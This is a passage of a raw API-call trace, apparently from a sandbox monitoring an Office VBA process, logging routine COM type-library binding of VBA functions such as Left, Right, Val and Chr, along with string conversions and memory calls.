CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3582, cbMultiByte=12, lpWideCharStr=0x264c40, cchWideChar=13 | out: lpWideCharStr="_B_var_Left") returned 12 [0037.009] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="_B_var_Left", lHashVal=0x10e151, wFlags=0x3, ppTInfo=0x264bf8, pDescKind=0x264c0c, ppFuncDesc=0x264c10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264bf8*=0x81de138, pDescKind=0x264c0c*=1, ppFuncDesc=0x264c10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.009] ITypeInfo:RemoteGetTypeAttr (in: This=0x81de138, ppTypeAttr=0x264c00, pDummy=0x1 | out: ppTypeAttr=0x264c00, pDummy=0x1) returned 0x0 [0037.009] ITypeInfo:LocalReleaseTypeAttr (This=0x81de138) returned 0x0 [0037.009] IMalloc:Realloc (This=0x7feff045380, pv=0x80f16a0, cb=0x400) returned 0x421770 [0037.009] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264a60 | out: ppvObject=0x264a60*=0x81de138) returned 0x0 [0037.009] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x81de138, memid=1610612748, invkind=1, pFuncIndex=0x264aa0 | out: pFuncIndex=0x264aa0*=0xc) returned 0x0 [0037.009] ITypeInfo2:GetFuncCustData (in: This=0x81de138, index=0xc, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264ab8 | out: pVarVal=0x264ab8*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x10e151)) returned 0x0 [0037.009] IUnknown:Release (This=0x81de138) returned 0x3 [0037.009] IUnknown:AddRef (This=0x81de138) returned 0x4 [0037.009] ITypeInfo:LocalReleaseFuncDesc (This=0x81de138) returned 0x0 [0037.009] IUnknown:Release (This=0x81de138) returned 0x3 [0037.009] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb8 | out: ppvObject=0x264cb8*=0x0) returned 0x80004002 [0037.009] IUnknown:AddRef (This=0x81de138) returned 0x4 [0037.009] IUnknown:Release (This=0x81de138) returned 0x3 [0037.009] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.009] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.009] IMalloc:Free (This=0x7feff045380, pv=0x81b1a00) [0037.009] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x264710, pIndex=0x0 | out: ppTLib=0x264710*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.009] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264720, pDummy=0x0 | out: ppTLibAttr=0x264720, pDummy=0x0) returned 0x0 [0037.009] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.009] IUnknown:Release (This=0x7f8b790) returned 0xc [0037.009] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612748, invkind=1, refPtrFlags=0x264710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.009] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264710, pbstrName=0x0, pwOrdinal=0x264730 | out: pBstrDllName=0x264710*=0x0, pbstrName=0x0, pwOrdinal=0x264730*=0x49a0) returned 0x0 [0037.010] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612748, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000) returned 0x0 [0037.010] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827e8b0 [0037.010] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.010] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.010] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.010] GetCurrentProcess () returned 0xffffffffffffffff [0037.010] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827e8b0, dwSize=0x4b) returned 1 [0037.010] IMalloc:Free (This=0x7feff045380, pv=0x827e8b0) [0037.010] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0037.010] strcpy_s (in: _Dst=0x264ba0, _DstSize=0x6, _Src="Right" | out: _Dst="Right") returned 0x0 [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264ba0, cbMultiByte=6, lpWideCharStr=0x2649f0, cchWideChar=6 | out: lpWideCharStr="Right") returned 6 [0037.010] IUnknown:AddRef (This=0x7f8b790) returned 0xd [0037.010] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="Right", lHashVal=0x10150d, pfName=0x264ac0, pBstrLibName=0x2649f0 | out: pfName=0x264ac0*=1, pBstrLibName=0x2649f0) returned 0x0 [0037.010] IUnknown:Release (This=0x7f8b790) returned 0xc [0037.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Right", cchWideChar=-1, lpMultiByteStr=0x264ba0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Right", lpUsedDefaultChar=0x0) returned 6 [0037.010] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0037.010] IUnknown:Release (This=0x8087de0) returned 0x3 [0037.010] IUnknown:Release (This=0x8087de0) returned 0x2 [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232d52, cbMultiByte=6, lpWideCharStr=0x264b20, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0037.010] ITypeComp:RemoteBind (in: This=0x8087de8, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x264ad8, pDescKind=0x264aec, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264ad8*=0x0, pDescKind=0x264aec*=0, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3502, cbMultiByte=6, lpWideCharStr=0x264c80, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0037.010] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3502, cbMultiByte=6, lpWideCharStr=0x264c80, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0037.010] ITypeComp:RemoteBind (in: This=0x7f887d0, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3502, cbMultiByte=6, lpWideCharStr=0x264c80, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0037.010] ITypeComp:RemoteBind (in: This=0x7f8b200, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.010] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3502, cbMultiByte=6, lpWideCharStr=0x264c80, cchWideChar=7 | out: lpWideCharStr="Right") returned 6 [0037.010] ITypeComp:RemoteBind (in: This=0x81c0d30, szName="Right", lHashVal=0x10150d, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x7fee3eb230a, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x7fee3eb230a, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.010] IMalloc:Alloc (This=0x7feff045380, cb=0xd) returned 0x81b1a00 [0037.010] _mbscpy_s (in: _Dst=0x81b1a00, _DstSizeInBytes=0x6, _Src=0x2ff3502 | out: _Dst=0x81b1a00) returned 0x0 [0037.010] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Right") returned 0x10d939 [0037.010] strcpy_s (in: _Dst=0x264d90, _DstSize=0xd, _Src="_B_var_Right" | out: _Dst="_B_var_Right") returned 0x0 [0037.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264d90, cbMultiByte=13, lpWideCharStr=0x264be0, cchWideChar=13 | out: lpWideCharStr="_B_var_Right") returned 13 [0037.010] IUnknown:AddRef (This=0x7f8b790) returned 0xd [0037.010] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="_B_var_Right", lHashVal=0x10d939, pfName=0x264cb0, pBstrLibName=0x264be0 | out: pfName=0x264cb0*=1, pBstrLibName=0x264be0) returned 0x0 [0037.010] IUnknown:Release (This=0x7f8b790) returned 0xc [0037.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Right", cchWideChar=-1, lpMultiByteStr=0x264d90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Right", lpUsedDefaultChar=0x0) returned 13 [0037.011] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Right") returned 0x10d939 [0037.011] IUnknown:AddRef (This=0x7f8b790) returned 0xd [0037.011] IUnknown:Release (This=0x7f8b790) returned 0xc [0037.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff35ae, cbMultiByte=13, lpWideCharStr=0x264c40, cchWideChar=14 | out: lpWideCharStr="_B_var_Right") returned 13 [0037.011] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="_B_var_Right", lHashVal=0x10d939, wFlags=0x3, ppTInfo=0x264bf8, pDescKind=0x264c0c, ppFuncDesc=0x264c10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264bf8*=0x81de138, pDescKind=0x264c0c*=1, ppFuncDesc=0x264c10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.011] ITypeInfo:RemoteGetTypeAttr (in: This=0x81de138, ppTypeAttr=0x264c00, pDummy=0x1 | out: ppTypeAttr=0x264c00, pDummy=0x1) returned 0x0 [0037.011] ITypeInfo:LocalReleaseTypeAttr (This=0x81de138) returned 0x0 [0037.011] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264a60 | out: ppvObject=0x264a60*=0x81de138) returned 0x0 [0037.011] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x81de138, memid=1610612756, invkind=1, pFuncIndex=0x264aa0 | out: pFuncIndex=0x264aa0*=0x14) returned 0x0 [0037.011] ITypeInfo2:GetFuncCustData (in: This=0x81de138, index=0x14, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264ab8 | out: pVarVal=0x264ab8*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x10d939)) returned 0x0 [0037.011] IUnknown:Release (This=0x81de138) returned 0x4 [0037.011] IUnknown:AddRef (This=0x81de138) returned 0x5 [0037.011] ITypeInfo:LocalReleaseFuncDesc (This=0x81de138) returned 0x0 [0037.011] IUnknown:Release (This=0x81de138) returned 0x4 [0037.011] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb8 | out: ppvObject=0x264cb8*=0x0) returned 0x80004002 [0037.011] IUnknown:AddRef (This=0x81de138) returned 0x5 [0037.011] IUnknown:Release (This=0x81de138) returned 0x4 [0037.011] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.011] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.011] IMalloc:Free (This=0x7feff045380, pv=0x81b1a00) [0037.011] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x264710, pIndex=0x0 | out: ppTLib=0x264710*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.011] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264720, pDummy=0x0 | out: ppTLibAttr=0x264720, pDummy=0x0) returned 0x0 [0037.011] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.011] IUnknown:Release (This=0x7f8b790) returned 0xd [0037.011] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612756, invkind=1, refPtrFlags=0x264710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.011] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264710, pbstrName=0x0, pwOrdinal=0x264730 | out: pBstrDllName=0x264710*=0x0, pbstrName=0x0, pwOrdinal=0x264730*=0x49a0) returned 0x0 [0037.011] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612756, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000) returned 0x0 [0037.011] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827e8b0 [0037.011] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.011] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.011] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.011] GetCurrentProcess () returned 0xffffffffffffffff [0037.011] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827e8b0, dwSize=0x4b) returned 1 [0037.011] IMalloc:Free (This=0x7feff045380, pv=0x827e8b0) [0037.011] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8279670 [0037.011] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Val") returned 0x10e2dd [0037.011] strcpy_s (in: _Dst=0x264ba0, _DstSize=0x4, _Src="Val" | out: _Dst="Val") returned 0x0 [0037.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264ba0, cbMultiByte=4, lpWideCharStr=0x2649f0, cchWideChar=4 | out: lpWideCharStr="Val") returned 4 [0037.011] IUnknown:AddRef (This=0x7f8b790) returned 0xe [0037.011] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="Val", lHashVal=0x10e2dd, pfName=0x264ac0, pBstrLibName=0x2649f0 | out: pfName=0x264ac0*=1, pBstrLibName=0x2649f0) returned 0x0 [0037.012] IUnknown:Release (This=0x7f8b790) returned 0xd [0037.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Val", cchWideChar=-1, lpMultiByteStr=0x264ba0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Val", lpUsedDefaultChar=0x0) returned 4 [0037.012] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Val") returned 0x10e2dd [0037.012] IUnknown:Release (This=0x8087de0) returned 0x3 [0037.012] IUnknown:Release (This=0x8087de0) returned 0x2 [0037.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232d7a, cbMultiByte=4, lpWideCharStr=0x264b20, cchWideChar=5 | out: lpWideCharStr="Val") returned 4 [0037.012] ITypeComp:RemoteBind (in: This=0x8087de8, szName="Val", lHashVal=0x10e2dd, wFlags=0x3, ppTInfo=0x264ad8, pDescKind=0x264aec, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264ad8*=0x0, pDescKind=0x264aec*=0, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff34de, cbMultiByte=4, lpWideCharStr=0x264c80, cchWideChar=5 | out: lpWideCharStr="Val") returned 4 [0037.012] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="Val", lHashVal=0x10e2dd, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x81de190, pDescKind=0x264c4c*=1, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.012] ITypeInfo:RemoteGetTypeAttr (in: This=0x81de190, ppTypeAttr=0x264c40, pDummy=0x1 | out: ppTypeAttr=0x264c40, pDummy=0x1) returned 0x0 [0037.012] ITypeInfo:LocalReleaseTypeAttr (This=0x81de190) returned 0x0 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264aa0 | out: ppvObject=0x264aa0*=0x81de190) returned 0x0 [0037.012] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x81de190, memid=1610612743, invkind=1, pFuncIndex=0x264ae0 | out: pFuncIndex=0x264ae0*=0x7) returned 0x0 [0037.012] ITypeInfo2:GetFuncCustData (in: This=0x81de190, index=0x7, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264af8 | out: pVarVal=0x264af8*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x10e2dd)) returned 0x0 [0037.012] IUnknown:Release (This=0x81de190) returned 0x1 [0037.012] IUnknown:AddRef (This=0x81de190) returned 0x2 [0037.012] ITypeInfo:LocalReleaseFuncDesc (This=0x81de190) returned 0x0 [0037.012] IUnknown:Release (This=0x81de190) returned 0x1 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264d68 | out: ppvObject=0x264d68*=0x0) returned 0x80004002 [0037.012] IUnknown:AddRef (This=0x81de190) returned 0x2 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cf0 | out: ppvObject=0x264cf0*=0x0) returned 0x80004002 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cc0 | out: ppvObject=0x264cc0*=0x0) returned 0x80004002 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb0 | out: ppvObject=0x264cb0*=0x0) returned 0x80004002 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb8 | out: ppvObject=0x264cb8*=0x0) returned 0x80004002 [0037.012] ITypeInfo:RemoteGetTypeAttr (in: This=0x81de190, ppTypeAttr=0x264ce8, pDummy=0x10 | out: ppTypeAttr=0x264ce8, pDummy=0x10) returned 0x0 [0037.012] ITypeInfo:LocalReleaseTypeAttr (This=0x81de190) returned 0x0 [0037.012] IUnknown:AddRef (This=0x81de190) returned 0x3 [0037.012] IUnknown:Release (This=0x81de190) returned 0x2 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.012] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.012] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de190, ppTLib=0x264710, pIndex=0x0 | out: ppTLib=0x264710*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.012] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264720, pDummy=0x0 | out: ppTLibAttr=0x264720, pDummy=0x0) returned 0x0 [0037.012] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.012] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.012] ITypeInfo:RemoteGetDllEntry (in: This=0x81de190, memid=1610612743, invkind=1, refPtrFlags=0x264710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.012] ITypeInfo:RemoteGetDllEntry (in: This=0x81de190, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264710, pbstrName=0x0, pwOrdinal=0x264730 | out: pBstrDllName=0x264710*=0x0, pbstrName=0x0, pwOrdinal=0x264730*=0x49a0) returned 0x0 [0037.012] ITypeInfo:RemoteGetDllEntry (in: This=0x81de190, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000) returned 0x0 [0037.013] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827e8b0 [0037.013] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.013] GetCurrentProcess () returned 0xffffffffffffffff [0037.013] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827e8b0, dwSize=0x3b) returned 1 [0037.013] IMalloc:Free (This=0x7feff045380, pv=0x827e8b0) [0037.013] IMalloc:Alloc (This=0x7feff045380, cb=0xb) returned 0x81b1a00 [0037.013] _mbscpy_s (in: _Dst=0x81b1a00, _DstSizeInBytes=0x4, _Src=0x2ff34ba | out: _Dst=0x81b1a00) returned 0x0 [0037.013] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0037.013] IUnknown:AddRef (This=0x7f8b790) returned 0x10 [0037.013] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.013] IUnknown:AddRef (This=0x81de138) returned 0x5 [0037.013] IUnknown:Release (This=0x81de138) returned 0x4 [0037.013] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.013] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.013] IMalloc:Free (This=0x7feff045380, pv=0x81b1a00) [0037.013] ITypeInfo:RemoteGetContainingTypeLib (in: 